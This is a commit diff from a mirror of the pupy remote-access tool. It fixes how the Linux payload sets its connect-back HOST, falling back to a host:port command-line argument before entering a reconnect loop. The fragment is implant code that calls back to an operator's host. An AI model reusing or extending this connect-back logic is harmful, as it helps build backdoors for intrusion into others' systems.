mirror of https://github.com/n1nj4sec/pupy.git
Linux payload was not properly setting the HOST variable
This commit is contained in:
parent
25f948839d
commit
ad26c16293
|
@ -87,10 +87,10 @@ def main():
|
||||||
HOST=pupy.get_connect_back_host()
|
HOST=pupy.get_connect_back_host()
|
||||||
except ImportError:
|
except ImportError:
|
||||||
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
||||||
|
else:
|
||||||
if len(sys.argv)!=2:
|
if len(sys.argv)!=2:
|
||||||
exit("usage: %s host:port"%sys.argv[0])
|
exit("usage: %s host:port"%sys.argv[0])
|
||||||
HOST=sys.argv[1]
|
HOST=sys.argv[1]
|
||||||
else:
|
|
||||||
add_pseudo_pupy_module(HOST)
|
add_pseudo_pupy_module(HOST)
|
||||||
attempt=0
|
attempt=0
|
||||||
while True:
|
while True:
|
||||||
|
|
Loading…
Reference in New Issue